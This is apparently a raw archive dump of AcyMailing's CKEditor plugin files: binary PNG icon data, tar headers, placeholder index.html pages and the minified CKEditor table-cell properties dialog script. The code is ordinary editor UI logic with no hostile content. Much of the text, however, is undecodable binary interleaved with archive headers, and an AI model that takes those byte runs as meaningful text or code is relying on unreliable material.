�ۥ�v�4� d9.pF8V�/D�;4�YԨPJA�Z�5�_S�!od��>��4v�S~�N*�g��D���;q�Nmn~���"�c��h�>}��`x@��q�MHT��+����:�������t=*x�^_QAZ���dt�O�8'�E��	@)�S�ב�5��紷7���Ɛ��:�}�m�Ľ[�,�9�Bvv6:��ZUz}7$j>�$7!A[�:�y��:������Z�f!�]�"��~���N�����Ѩ1�(�<%.C,&�eem���a5�8;w�~r|���ΡÇ��eY�L&�jo��N�
�E�V�΄1�Ȉ�Z����ĵ_��<	?��"<D)���G���y6���L\��p��_m�zz~�fÆ�m.���<�Ǐ�T�[z�7���j��A���_�~	����v��*���:�����g���h4�����")������!v�kӺu��e�^�X�K�5��.�6����5���ϨT(�������թ5\���n�8�iQ!ى��h��?����r���W%�C�������{&Bߎ��E]���Y	��ߵk���(�-�20p�S�����*@6g�l��3�8u���h��^
)�1Î��nJ�6�aʓ�	�5Ѣ�'�F#K�D}�B����K:�
6ۓ�}l2�,����Q��R��\��RY,��x�DА:�X���R�
(P�@A". w�-."��s�z=\v;\�h\!:�i�8������#��2Wm6lX�.�J�~��].����ѣI	!�q`����/}�A˲�?���������	!덇���'*��˗�B��3 d��c�B�N��!�7�R�X��e*x�*+Ϝ8W��E�
��/���@��ޞ��B��OP���_&V�^��+D��A�֛o�EgϛG�99Q��#��|O'Q���,]���L�0!�B4��hz�0��	B�8l��DQ�I�^�٥�O��7�kj��U~C�ژ7$�&��@�2V���x��d��~�PUE*��ڹsg�%<!B�T1��G�����������;�

�z���N�`~~>:��0z�:!>��6%adx�l�^����֚��
��)�ݲeI ��
����٘��ެ5��!���'�*cR�(����tt4ffd��vc����jش�k͚���g�X0���Ng6�P�����1E��B�h�N�mV{{��d˲8t��?��xG��M;w�~��8��谦eemPd1�b�#�n�x4��9J�O@�� 2 a��h��KV֛z�9���p���8��_�~���	�����F���#)R�6�ԏ_��<l.��fÆ�zz~�l���A4d�e?ܴn��v��!�--����-�--��CN�����8��H�;�1l�ND2q6lݸq�5�mP��:n\] ����ʨT�f��o��J�$-�q\�N�D�	v����?4tI{�M�J������-��;�Q���|�cGKfii���ҕ+m����2������
D� �1^}�3a<����y��D�f�Dn�oO@�p7�'�*���	�i1�(P�@�
DA�v�Å�O����p�\�`b��A!P��a���{7�F�yA�@H����Q=)��(~W�:�:`�pt"�a�I�T�c�/������ \.W�6C�R�h4�b�l6[J�edd�d2A�qѽiŚ������m�R�������t~\~�`��{nw 4`J��,�㠦�X�Q�
4L�F�,��3)%�u�$��IPk�p>�M5/�P	$J�$������N,��-�o��)�	�}N@s�T>"j�Ԉ�=	���|:񸿚�n�s_�~=LJ�z0��gB��F�Ip�)����h4�+�%HU>���h������իطwo,�1n�x��o�II������������	̈́�55	�p�櫪�����_`&$j5($��xH�LhWMe���!�3!��
�z&����[�gB��|^/��O��3��@MI>-����ɡ�U�+^!��IS��a�B)���l��e��r�4�6d��[<O��Q�@�
(P�@��d`�?��_���ij1ᕴoZ�e��my�;߱�������|RY�վ=m��i�&���8�z�_���j�m�Y�23�z��|@
��xX�*����m�B��?*�'��ӠR����n-).Dz!<`�kE;��*-��?u*i�ON�����{����1�t���!ШT(,.^�p:���~'��p>���J����~Zmu581 f4-�J��Z��J�8�N8�N|{�2�?.x�?�a,A�����Ϛe���˲�����"��Y@�OD_t�JB��a�Ν��|���7!�{�Ć�ی�.pׁ�c]�����8<KZj���v�g�P���pf_(+/��=z|zz:t:��JhH<�D�D�_�J�)���J���G���?�:�3���dOOmeU����^�f�����A��z<

��������lp:�p�\���e��|�XW����!���!��
�����9��ܜa�Z,��G����<������O�s�.��#�|��vhh�H�4��j���^�F�F�R|����?Nf��G���ਫ�?J�eee�`0@%0�׋s���ȑ#r����������f|vv6c6����q��Yߡ���@<<�
�4�7������X��.??ߜ���Z
�χS��8}��R�[���_-��������u�F��F���>{���ږ
a�׽��3f́	&�---|�̙��& Z��(�k(�,����3�l+))qN�6�o,qPJ倫QJ�x������kh��++��(���.J)���dL^��-)Ċ����Rz����h<���NxCB)�>�Խfݺ��%-�X	C���yJ��<fL���|#������4~��M�~��I�C��Χ�^�bEJir��z��X
(P�@�
(P ���t�29���kE�ƈ�J�JK�w�c�����g����n�j�
�,Z�L�>}%�j���4 `}>x�^4����ŋ������yC�k���.�f���{�����m$0@�%@Vi�@)�N���@4X�e�x�s�g�D��Y�C�ڇ4Q�{aiP
�)���b�&�Z[���*���n�7o�^��3�~�p�xY��vgMe%3&'f�	f�	�a�AXE&Ek�Z��G�b����Rg�o5&Ӌ�S����q�@��^�r�7�����&x<�����,�����[o���D4�(�p���9
��c�W_���nYu�/&54�gY��P�҆�w���z144�+W�|��ӣ�$8g��y��/N��+�	�\��<�J��T�7�q\.���[aҤI[w��9���.���,���e��,<�N'G)=��������U��`�)�_|�)+++������fÙ3g�o۾}����~_5B���m���mYq�����p��ի˲�<��﹞~�Z�9�������:�.Hd��n��|~�:�j<�BB^Ci������m6\�v
{{{��.�l�����"�K�{[�n�������?��+����B�F����i�����?��6�#`E��C�R�)�Z]ͷ̜ɷ���&L�njs��C�R�kHp��0����ٯ��wQ1Vi,�WV�u

|Aa!��ҥݢ&}�ʄ%��ck֭�I)uSJ��h!}v6�3Ϟ��9 
�C$����~�SJ��RژL9�1;�r<��9*	��(�)��Q�����dҊ���On�)P�@�
(P�@���/P��/P��/��/P�(|ABP��/P�
(P�@�
(�/���H�G��#R�)��D�?"����4M�B��H�
(P�@���"<Ԯ�\!HFSl���vec}=�6���r�(���h0����A��>�`D<WZ]�����Y0>�>�`�;�́��E���ϕTV��./g�\�0и-��N�ǢQ��g��xU?o�|��o���T���y޼�甈��9kE��
���뮻�b�2�!!�7��
���3�#x���|eyI	s�%xx���58�D��7�wΚE_{��au��;;�����%0����ͣo��ֈ������!@�G0a��`�Y�f�K-�d�A�r|�P�!�����*�į�h<��F
B��.-}*�i�ا�>Z�TdY��8�}'N�ߩ��UUT�?Mӧ�P�㺒2��CT��+����:�������t��z�^_QAZ���dt�O�?�/d!b>���5��紷7���Ɛ��:�}�m�Ľ[�,�9�Bvv6:��ZUz}7��@��a��zb(י�;f���Y,8�n_ך5�����7/w��������F�Ѹ
@�)�;D�!�	�Ҳ�����p���w?`SD!��C��#˲0�L���^	�n�V���6�ג����'��:��I���,"�CT�/�(��<��zeׂ��5�����ɚ
��\��?�Rm4n�_5@��w�VW����[�~�8���햵Ɖ*��;��p:�����!�ӣ�h���R
`��Ⱥ֖�r���M�����PzCI��T�qaD(����5���ϨT(�������թ5\���n�8�iQ!ى(`�"��wtw�\���UI�$k�z�
]���=�oG��.Fq�G���5�RTT�_8s�ԩY�S�	�U�'_�����g�ԩ���&U_��0����Mi������L@�`��D��hd)����cY�F N��D�S�`cوߣ���D��F0�Ѹ�D!.�L��8�!��".��	��X��z(P�@�
d,k��IDAT����Nc{�9wߍ�.�.�4m4.��V�4�{X�s�0�tD��^�͆
��%\��������SG�&%D�ǁ�x�$v�K|�²,�?d� �<}�x�BD@����D��>�b��A>x�}��<}�XBBD��$�A�
�+�-{�
�{�=�
��3'N�"���A��+^!x��w�ҕ�==1��`G��B,_�2�z�j@\!BM��(�OPJ�o�EgϛG�99Q��#�B�r25�?��ҥ���	�+D��u�]��<A@ǁ
׶� �:M���"7�.-}
���_S1�!�!Zm��($PMi�U�oil�Se2a��J������ܹ3��!T*����1��r:]3��}���|gQA�^�/��p:�����ֶ����!�]� �1JX� [��ww���fgg��t
{�lYH<�}�mCv�ktv6洷7kM�nHN�G�	�
@��L��h�6���13#N��7o^�?$Evu�Y���v�,f����������G�O��B�W�Z��m���^i2���,>��p8ޑ�g��ݻ�8��;:�iYY�YL����xA���4��9J�O@����d���h��KV֛zís���pL���ׯ_���v�A@muu��wȑ)P�[�Ǐ��y6�KX�a��}==?�k6[r�@ih��pӺu���.�������V�����j49��{�t�k ��t�K�-mH°a�ƍ���l�j��q��	e��VF��5��sW�,P�'iA��b.p�� 
O�kGw����K��lTj5.������n���T��H~?��W;v�d��v~�t��A[o�<��DE ޺";�)���A�c��dg�x)7s��'�*���	�ܖ�$� �H�nOU��� �(<�
(P��������y��IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/icons.png000060400000024322152455305310025367 0ustar00�PNG


IHDR����1 IDATx��}ytՙ���v�[�f!�v�E�l$���%���7�yx�yC��a�0�3�/��$�8q�0s�3��!������Wlc�x�%���{wujUuWu�!���9u���W߽U�}�~����Gl@��2��P�Z��&x<��_��זF"LMM��#����a׮]A�8%��K%`4ﭭ���ҥK��^{-�r�ʠ�j�w�…�y��<�Y*ϥ�  �@1���˗��z�>�/��i$80�Zc�cK8��FGG����/�����8A��F�ӹ�j�b��� "<��3hkkۜ�!� 
�;;;MNN�H�.Z:::z#���cZ��l6o����0m"��D4���uppp������} 5!��1�������;A@cc#�!c��\"���������6G���S'�F`0���
�q0�ͨ��ƅp�-��'��49�cǎ�`0��r!�������ٵk�r�-��ej "K2��c�Uy��o��x9a��t�|�Na��Ny!կQ��_��׌V�� `||.\�m�)((�~{"z���W�XA�/������(LDM�r�b�Z�؏A��˗����~��1v<'�1������د�ig�UUU��0JJJN2�&��d"�TWW�z����[f����;���)HDZ�2qp� ��b��1����Ap�7g����x@xΜ9���G6�-
�V�T�l0>k�,c^^��8��0�����25�W�����EI�e�DdV)a��U)��q]c9��F��A�P�B�{aa�/ZZZ�qb���0��(FGGQVVfݻwo@�֥����s-_���9���ё���o��ؒ%K������{{{��mmm~�@b`���na�%�����̙"–-[x���c���1��s��ye�>رclj5k�4�l6���`xx���񱱱?x�f�������r����F#�</O�	�D�(��(OMMa�ڵ�޽{���|p�^xAg��>�:�D����+V�����c�޽�zjz�}�<��f�EcW�� �~?fϞ���i477��C(B<GQQ���0::��{�ܨI��͛7s�����199���B�������ٳ�1��T�<"$�g�h�#"/�OD�Q�fE:t(�&2���x	
�-K�p�o�ֶ�l�������r�����d6�Odey׮]����[m����JKK�p�B�ŋǎ=�[�@R"Q'=s�m�5�\.'\�z��֭[?�c�݌0�>��c��B�@ ��x�g�*+8@��~���c�|D���ܳg��/ثED™��V*--����|�]EEE�---����m��Lg��F��
]�|y�'��3g����b� ��4��D�AD���\YZ'
ѳ�2�ek�H >f�8�3��Y ��Y���T�I��?��>&"�H�M7�T�F �ba��K_c 8�Z0�b���K�IdR,6��8��s��m
�2)�C�����qA��K��Z`�	3R,�1�1/A�>#Ţ�L��h4n�J GŢC�i���x��$��#��F�$�II_LY��&Ɨ.]��~yyJ��̙�Gy�����4>�^��XL��z�(�8�"�HZ! ��D J3�ꚫ�h��N��j�|���8�t��~E��h�c��񸂊Z'^v��-/WTTT�Fa6��2��~?���|	@��c��l��㨯�?�ZG�͛7?[SS���%��C��n�����&��3DD+��Ռ��>��]]]�H$R�q�-���������+=�Zӄ�X~GD�":(��+B9�tm�*�.PD�\�ւ>W���j���-C�ZK�2���M7�D�f�"$ө��%��H7�x#!��q0-P6|�;�Y^PP�N�>��7.��b~ooo��y���8x�^��׿�`EEEM� `bb���p�\p������8��8���z9]s��\�z>����pP�@�>�远?�w��ELMM����'"K����[�n�:��� �r�-�����葝;w^Y�h��|�+T^^�������.\H�����=��D�jll�?>=����?љ


�g�y�D�%�����jjj�ID����V�5�կ~�u�ѹ
�њ��+D���~����EDo(:'���v��D����`4]ED��.�[�ly����ס�:��HdUN�kkkI
N�s2'"N��Rӈ���.�L��D�Vk9�ڐSa2�4�D2c�4.��0�,�j��<��j�5��q�D��Q����$ ��31q:!1�%���o�q������gj�O�'&�iy [3�	d{s@�/�P��t��9��.My��t����5
,��6{O���`�n��#᧘�*��2R^^>,%�}�mmm�.[��i6�߀l�K^^��+V�����$p�=������ҥK��f�o�2f����˗�{�^��ʫ��644<���Z�D�}�����񉾾����l8z���Ǐ?��'-FA~3o޼ކ����0��(jjj���^{�w����e�M�6�1�y�mܸ����X�������?���{��ʞ�*���v�ݿ��S�r$	y<�
��C��j�Xk����9?_Ap8�v�@���8�
������eǡC�&�;6e������C��w7Wix�j��joonݺ�"*""'=s��7�{zz�|����m��꧄w�G}t+�-%<��ѱ���#�KKKcH� '@D��q��u���}�����򻻻�k�Z�����'��p�رc����VUU�ED�d7����o{>��]��wDdS �^J�&�$����H��ѳD4"6�j��Cǧ]/�zA��t����!��J��fH�P�{��w�]wՕ��.]��W_}��H|��ؑJ�ĉ'����澾>?D�&�o��s�N�ɓ'�kll4*X�Z�DD����������uIIIN�u@i�J��T�LO��$�FS�m��AJ��oR����&�X�������p5.��IFj��������d�5�I��F���*��>�����*eU� �Ps�ȑ�v�C^^^��,���h�dW�����&�]�g�μ���֩Z%��.�:t�BF�zA���Q��Pi$�&�PL�/
�lhhH�;�D"�������c8~�8�y�_�jjj�C,� �������緿��wFFF|�Pb���ף���n@�UUUF�ߏP(�p8�׋���˖-{i���/0�v{��d~ @EE�9I � �&�(�|><��c�b������흚�J��D"I��	�'�@$�����{�
E&&&�G"�d9I&r�m����׷�1�����1�ɒ%�}>_�SIfr@B�b1D�Q\�z5��s�m`����h4>����p��˗�"���^�@j~~�^��6ʍN�VRR�M��%�ɤ�@��
��z��b�<�XQQ�c�Ƙ��g���	H��b�,X�����luii��1��ۇ������~���Ah���`0�Ōeee�cUyyyK��ڜCb������w�u����(�@(�*744l7��Hp8���LvT^^Μ9�����łx<��{�w;��g�|``�}lll��d2J�"�,�1H�p8q��{w�ܹ����Q��o�(H�;(�� �L	/:>'���\�&і;y��;w�$��Ґɍ���J��a���:���g"`ikk�/���`� 0�L̈́�ʖ�� �~���㽽��Pٞ�J ??�r����zzzB�H�|yy9��\tvuu��B!\�zu��ɓ?U�h���!�3�<�p8p�ʕ����S,8�r�N^�z5r�
78(,ک�}gmm�7�\��+V���G�� ����6����!�Vk:�U]]����O�>�؂�bŊ���֒��&����h4J�`���<"�^0�x<N���J�3�'�x�,Kڶ��Y�4F���`�X`�ۑ�����&$ߚ'�|��V+8��|���x~�O=�ԧ��%�<��cd6����D�P(�5k�|�|���%�ј�iA��?��u��Il�lK����hDaa!��q6D�Q\�r�H$�f���3f��Bqn5�H�<��C3z��?���U6�L9q�����s֡�S�'i���*b�r55%�es��D�'cWcO"!�4��)Y$���*�	��/1�2���xں/���������+Wj�ɓ�iQPP ���GD���{*u���q̜��f�j<�x}}=!�6�l5x?1��8f�ɴa``�9o�<������j�"I�d2I��JKK���sw~~�	w�Ɵ��b1�B!tvv�,�FI�1����3g�XǾ�6�<Ap��	���� ���q&''122�����nG�Ϸ��6��TWWH���G(Azw��rqq1b�X��DA �HIr	]��>�rա��7>Qm��8�)_ij�w@QQҿoU�_��ԣ�Dc�XIDc�%�*@D<%�*�J��vgo����B�O&�l^�"��6�M��u1N�"���@� ��pD�Y��wd�NJ���H,L��\��3m/���H �4b�2ƮX1�>�8���rzR.I䧹Ԧq ��Z"
�%��3Gmi"�T�����=Y	���f��/..��_B������c�	�_i0IDeH���^knn>�&���ׯ_o�ɋ4�@���PCD[e�[� ���v? ��I�n��EYd�yHz!.�{��6�Ψ#�2�q�K��/�ک��� ���ڜ�@B�=���瓳�}��=M���=0�Lope�;"
ũ0��7t��|��r}���ZU$�
��P�}`�Z'Sˈ�דd�/H�8�t��M����|AUw�d� O=�S��;F>Qm�јu�"u��M�W�&�./&��n�_�NxWEfjt���咚���+�E��g$�@D�ew�/?�@ˆ��h�,�����> �ccc����:a�> "�(�S�a�>�i�Es���m)s�YS��w��k�A6y}@!��,B`�	;�����4��_�?��.^3@��͙3n�<�gt�ccc8x���?c̤ �Oڄ��x<���p��e�>}z����'n¬Y�PTT��+J:�U� x5�v{NO��&��{�f��,�D΁����s��F�r	q�L�S	�p����8n�0���Y_��W����ϟǻ�*G�jǵg��5g�
H�f��̟?<�k�'��
�0::��/NY�J����Pb]����ۂ,{)���T4�%����lll4�
V"B4���0crNԞ�h��΢�~�a�n�-D���_,�w:�E����!�EB���z�I�����'3$pz&�u�Α�0Os��q� �Ł�S�4R�F��X��H5Y/���y���NPP��`[�$^���N"�OM�i��Fq��e0�Bi�Ȩgm���l���^��ٌ�YuEF��y��r��R*�I��9�T3�
�&������l6�m�9Ҷ#ec9�jM����URk�j'�\.�x<�:B�#i����t�����k�[�I���Sav���v����{1퓑��H����^/���pcc#͛7�l6[��bd_c{{;}��G�����s������7�x#�â�D�~�zLNN���&:~�8K~����3g����AD��b�I��h4������GrE8I #�d2A�^�4HV�������D�ڔ��<��<�q���v�HQ���
R�%Ɏ$ٍ�V�M������C,c�h�`~�~����d�F�u� 8��X�~���s����jjj�eee�W�Z��g��D��� ??_)���>"��������w��AV�AD/�E����e�\
����s�f��t|�����������?+�"G���z�f���͛G���d6��HxD�bz��7)A%9_PP@��7�q���8���p��1\�xDt��p�jkkq��!���@"���O��8��ը��c�`�gϞ ������+ ��ʢ�	"�PN�%*EoK�$��&
� ���bCܤE�KmB0D4Mr�����r�F`||^�w�`0|��V���j�"??�D�`0�0����ۈ肨�ѕU�Vm-++�^SS���%��se���J�$��>���Q?l!"��7.�}�}�U΋��A˙��u�t9�Cǧ��
��\�]�D�y�>��B��_]]}��>�yB��������H�������"�$��ߘ��=�uwwSww�b��l6�	�9I��ruWUUQ(:@14C�Ё��*"�n�	���r�1����o6���o).��<���b?c,n�X�'9�ַ���)"Z����������>�`�X'"��իWopX�ޕ+WnY�r�[)O���ի�џ�	�D�L��j��&�S_� �����C��/,>Gz�d2��׮��ˉ�����>�ϣ;��������1����͌�;�fs��ŋ�f��a��GK/�^�z�֭[\�|�Ѧ��s���GD��SO���#��]]];�0PO8WYY9r�СUrZz�A"2�+�/�S[[Ks�Ν$�]D�<)MF,��LJ3M���#���vr�\�ZY�.̚5k������I��L>�LX�v����g�~�;���r�v��Օ�TBD;�6�}���TC���9G2�CʵMV����`z%$"zKC��%+�gٲe�l�2���m�:����������JF.���/VVV���<��o��J@m��b�
�a�Ƚ{?+|6���������Q�5B�d�d������+�2ʅ�M�6�h0�Û6m�">F:�h	�\�

���SO��~.:����Q�i�\���O���~�NLvD^^^R��<�Kk.���r���cԡ�@��c�3��b��%�MD����*�w��~v��AD�Qf��ڒaj���ۭb:���8�ք��$�+�N.�Q*�<
uF�Q�m�ە;��#c���1�\x��c���s������=��2��HD��e�?:�`P�|� dR��D��˫俳	�T�{��!�9&䩌1���P�r��H�\�L�Ґ��<�N���L��̟�cT��3}�i2��1M���1��|=.���UUU4w�\��� ��@~�R����:::h�ܹ$�����Ayy9c��lo����i�("��v�mo:�A"cgϞM��шӧO�h4B�A��_�ޞ1�ׂ ���3	����o����4_���V����%��X'����-D4DD+P?����멿��-��D4TXX�E޾g�o����qL˾d���b����7�D4�S���nY��bڏ��;E��&���yZ^x�…���K&���a�…!�ձX,����h�"jjj"��+QKSS-Z�H�d�X'����G�@����x�"�y�`+c��Dw�u�…����ԩS�X,عsgℨ`0���r�<�&��Re�?��@����x�x�"�� x��ѣGc�R;�16�`kk+AHƈ�`xx8U��M�HoV"�z:�0�t:��t�!�Br�"�����������ߏ���:��)fc��x�ĉ|CCCscc����҆QA`�Z�'NXO�<�^cc��1�"���?C��!1o14�S�~�r� ��Z_��&��T�M�e��"?�	�E���[���>���Pn&�~km�K� �&�Y�[�(SY���v -���DQ��C�1?�Dw�ќ�������@v(�fu�IDATx�ȑ#'�������tH��p�J[{_���˱.�:td�9���gG�^�	�:$�MА�LT�
�&�+49�UWh�UW$	h
[��$�@��tE��(�'3D]��+� ��%V�����_���.���.ц�+t|Z�Z�$�����o���w�]wՕ��.]��W_}��H-����z�������HQx;w���f�9g� ;R`��	%%%�zA����s�5����I��Ȑo�ەM��n����v�&�x�߲3�U�E��4���2VH�Wkr6��I�Z�➞���\gm�󅚚��:���V�/�����Vk�z!U�P�l�됤@I� �!Ii�~����r��M���H��3�i,�TW��9���>e�b\+R�*wLE��4u��K2��u���-���x���&}0���A�={�;n�?��OK<O}0Daa�����Ccc�厎y��n$NA�zzz����:GFF���7�u�n��IUc��нd�g8ƕ+W�X��ͫBm�z��bA8��n?���*�ñH�ֹt��}j�2����[�d	��������,*,,�B�x�?`�L	|��cbbuuu��2���5�<EP����jr��t�ȑ�b���r��q��^w�����Ei�Ł��e�JLsѶ���!��mnn�_�zu�4bW������cgl���q�D[[�q�oxx�y����579����6X���o�ۭ���w5r��KEEE����}�N�}Ị���[�t鵫A:f�U�,�3Wv:��Zc�����VLR"j[�Z��Q����n�XJKK5	P����x�-�$�OvT��o�p�JY�Fuu5@ee%����(�:̞=[�	�/�������n��N��ឞ2��>[
^�i�}���wZ,�C^��_`bb�W��Ν��R��QEEE$��/�ϟ�;1kcggg��e'*�r~���#�߻5�MCe�F��,�R.KF�r�n�u���㏆L:`U�z	�.��p:��Y�h�z"�!���d��5Dt�n�k�S)D���'�����t��@�X�>�@�����uD��+��#
��7��
===�t:��~_?q�:s�o�)l�ܹs������x���X,�:;;�p��N�:��:;;c6�Y��?~�㸿�uG�:A��Y�e��R��;�I�	:��`��+�����fO��P(A�=[R�Ȕ��<���	���#��`6�a2��
%Bf��1�`�X0k�,�����(&����rJ���$��1��zn2�(����f��j߻��Ԝx��4�Cr)H�M&SNiǁ������I���s��544p���K�D$,:Y����?��N�$��y�����k'�t��f�R"`l��."�]�C��/]k�^˷�i!�#����v���_�2�q�ԩ�	�0�^����mnnF4�t��H�p�9��$�Wx����n��h�x�ᣏ>B(���Ň~x��^����E�V���w�l6� �S���(l6\.***P]]]499�
����$�y�heee�������<�#B�ݗ.]r(+,,t`���>��;�tQ��{ߪ���uttPCC�v��Dt��Þ���=�%}�&��W

�X,礽kb����$��~�l��$��T��hܮ���O<�A��X�ED�d�0#:t|�x		qmu��H�4dh�����{�q��ۑڭ��u:�"�|��o�o4����í/^�2��L������Z�v;�f3jkk�:�`0`llo������_�f��������f�%'b�`09��---\YYY��͛����n����7ߌ��1����.���L�<ߝ��A099����#�Ν�1ƒ�YSSc;���u�֡���@����v����񎎎����k�-���o��O~�UT"wQrS��b!��rnhhh%�|�۟x�
D���0�ۉ�=��4��'�W�ȥYY��t���]/�С�Sڑ~�v�x�v�������Vݎ�ۑt�A�S��OU�SM-����B�S�Tu?�LY��~�:����81ە(�IEND�B`�com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/tabletools/index.html000060400000000054152455305310027707 0ustar00<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/tabletools/dialogs/tableCell.js000060400000014643152455305310031513 0ustar00com_acymailingCKEDITOR.dialog.add("cellProperties",function(g){function d(a){return function(b){for(var c=a(b[0]),d=1;d<b.length;d++)if(a(b[d])!==c){c=null;break}"undefined"!=typeof c&&(this.setValue(c),CKEDITOR.env.gecko&&("select"==this.type&&!c)&&(this.getInputElement().$.selectedIndex=-1))}}function j(a){if(a=l.exec(a.getStyle("width")||a.getAttribute("width")))return a[2]}var h=g.lang.table,c=h.cell,e=g.lang.common,i=CKEDITOR.dialog.validate,l=/^(\d+(?:\.\d+)?)(px|%)$/,f={type:"html",html:"&nbsp;"},m="rtl"==
g.lang.dir,k=g.plugins.colordialog;return{title:c.title,minWidth:CKEDITOR.env.ie&&CKEDITOR.env.quirks?450:410,minHeight:CKEDITOR.env.ie&&(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?230:220,contents:[{id:"info",label:c.title,accessKey:"I",elements:[{type:"hbox",widths:["40%","5%","40%"],children:[{type:"vbox",padding:0,children:[{type:"hbox",widths:["70%","30%"],children:[{type:"text",id:"width",width:"100px",label:e.width,validate:i.number(c.invalidWidth),onLoad:function(){var a=this.getDialog().getContentElement("info",
"widthType").getElement(),b=this.getInputElement(),c=b.getAttribute("aria-labelledby");b.setAttribute("aria-labelledby",[c,a.$.id].join(" "))},setup:d(function(a){var b=parseInt(a.getAttribute("width"),10),a=parseInt(a.getStyle("width"),10);return!isNaN(a)?a:!isNaN(b)?b:""}),commit:function(a){var b=parseInt(this.getValue(),10),c=this.getDialog().getValueOf("info","widthType")||j(a);isNaN(b)?a.removeStyle("width"):a.setStyle("width",b+c);a.removeAttribute("width")},"default":""},{type:"select",id:"widthType",
label:g.lang.table.widthUnit,labelStyle:"visibility:hidden","default":"px",items:[[h.widthPx,"px"],[h.widthPc,"%"]],setup:d(j)}]},{type:"hbox",widths:["70%","30%"],children:[{type:"text",id:"height",label:e.height,width:"100px","default":"",validate:i.number(c.invalidHeight),onLoad:function(){var a=this.getDialog().getContentElement("info","htmlHeightType").getElement(),b=this.getInputElement(),c=b.getAttribute("aria-labelledby");b.setAttribute("aria-labelledby",[c,a.$.id].join(" "))},setup:d(function(a){var b=
parseInt(a.getAttribute("height"),10),a=parseInt(a.getStyle("height"),10);return!isNaN(a)?a:!isNaN(b)?b:""}),commit:function(a){var b=parseInt(this.getValue(),10);isNaN(b)?a.removeStyle("height"):a.setStyle("height",CKEDITOR.tools.cssLength(b));a.removeAttribute("height")}},{id:"htmlHeightType",type:"html",html:"<br />"+h.widthPx}]},f,{type:"select",id:"wordWrap",label:c.wordWrap,"default":"yes",items:[[c.yes,"yes"],[c.no,"no"]],setup:d(function(a){var b=a.getAttribute("noWrap");if("nowrap"==a.getStyle("white-space")||
b)return"no"}),commit:function(a){"no"==this.getValue()?a.setStyle("white-space","nowrap"):a.removeStyle("white-space");a.removeAttribute("noWrap")}},f,{type:"select",id:"hAlign",label:c.hAlign,"default":"",items:[[e.notSet,""],[e.alignLeft,"left"],[e.alignCenter,"center"],[e.alignRight,"right"],[e.alignJustify,"justify"]],setup:d(function(a){var b=a.getAttribute("align");return a.getStyle("text-align")||b||""}),commit:function(a){var b=this.getValue();b?a.setStyle("text-align",b):a.removeStyle("text-align");
a.removeAttribute("align")}},{type:"select",id:"vAlign",label:c.vAlign,"default":"",items:[[e.notSet,""],[e.alignTop,"top"],[e.alignMiddle,"middle"],[e.alignBottom,"bottom"],[c.alignBaseline,"baseline"]],setup:d(function(a){var b=a.getAttribute("vAlign"),a=a.getStyle("vertical-align");switch(a){case "top":case "middle":case "bottom":case "baseline":break;default:a=""}return a||b||""}),commit:function(a){var b=this.getValue();b?a.setStyle("vertical-align",b):a.removeStyle("vertical-align");a.removeAttribute("vAlign")}}]},
f,{type:"vbox",padding:0,children:[{type:"select",id:"cellType",label:c.cellType,"default":"td",items:[[c.data,"td"],[c.header,"th"]],setup:d(function(a){return a.getName()}),commit:function(a){a.renameNode(this.getValue())}},f,{type:"text",id:"rowSpan",label:c.rowSpan,"default":"",validate:i.integer(c.invalidRowSpan),setup:d(function(a){if((a=parseInt(a.getAttribute("rowSpan"),10))&&1!=a)return a}),commit:function(a){var b=parseInt(this.getValue(),10);b&&1!=b?a.setAttribute("rowSpan",this.getValue()):
a.removeAttribute("rowSpan")}},{type:"text",id:"colSpan",label:c.colSpan,"default":"",validate:i.integer(c.invalidColSpan),setup:d(function(a){if((a=parseInt(a.getAttribute("colSpan"),10))&&1!=a)return a}),commit:function(a){var b=parseInt(this.getValue(),10);b&&1!=b?a.setAttribute("colSpan",this.getValue()):a.removeAttribute("colSpan")}},f,{type:"hbox",padding:0,widths:["60%","40%"],children:[{type:"text",id:"bgColor",label:c.bgColor,"default":"",setup:d(function(a){var b=a.getAttribute("bgColor");
return a.getStyle("background-color")||b}),commit:function(a){this.getValue()?a.setStyle("background-color",this.getValue()):a.removeStyle("background-color");a.removeAttribute("bgColor")}},k?{type:"button",id:"bgColorChoose","class":"colorChooser",label:c.chooseColor,onLoad:function(){this.getElement().getParent().setStyle("vertical-align","bottom")},onClick:function(){g.getColorFromDialog(function(a){a&&this.getDialog().getContentElement("info","bgColor").setValue(a);this.focus()},this)}}:f]},f,
{type:"hbox",padding:0,widths:["60%","40%"],children:[{type:"text",id:"borderColor",label:c.borderColor,"default":"",setup:d(function(a){var b=a.getAttribute("borderColor");return a.getStyle("border-color")||b}),commit:function(a){this.getValue()?a.setStyle("border-color",this.getValue()):a.removeStyle("border-color");a.removeAttribute("borderColor")}},k?{type:"button",id:"borderColorChoose","class":"colorChooser",label:c.chooseColor,style:(m?"margin-right":"margin-left")+": 10px",onLoad:function(){this.getElement().getParent().setStyle("vertical-align",
"bottom")},onClick:function(){g.getColorFromDialog(function(a){a&&this.getDialog().getContentElement("info","borderColor").setValue(a);this.focus()},this)}}:f]}]}]}]}],onShow:function(){this.cells=CKEDITOR.plugins.tabletools.getSelectedCells(this._.editor.getSelection());this.setupContent(this.cells)},onOk:function(){for(var a=this._.editor.getSelection(),b=a.createBookmarks(),c=this.cells,d=0;d<c.length;d++)this.commitContent(c[d]);this._.editor.forceNextSelectionCheck();a.selectBookmarks(b);this._.editor.selectionChange()},
onLoad:function(){var a={};this.foreach(function(b){b.setup&&b.commit&&(b.setup=CKEDITOR.tools.override(b.setup,function(c){return function(){c.apply(this,arguments);a[b.id]=b.getValue()}}),b.commit=CKEDITOR.tools.override(b.commit,function(c){return function(){a[b.id]!==b.getValue()&&c.apply(this,arguments)}}))})}}});
extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/tabletools/dialogs/index.html000060400000000054152455305310031252 0ustar00com_acymailing<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/colordialog/index.html000060400000000054152455305310030035 0ustar00<html><body bgcolor="#FFFFFF"></body></html>extensions/plg_editors_acyeditor/acyeditor/ckeditor/plugins/colordialog/dialogs/colordialog000060400000010636152455305310031633 0ustar00com_acymailing/*
 Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or http://ckeditor.com/license
*/
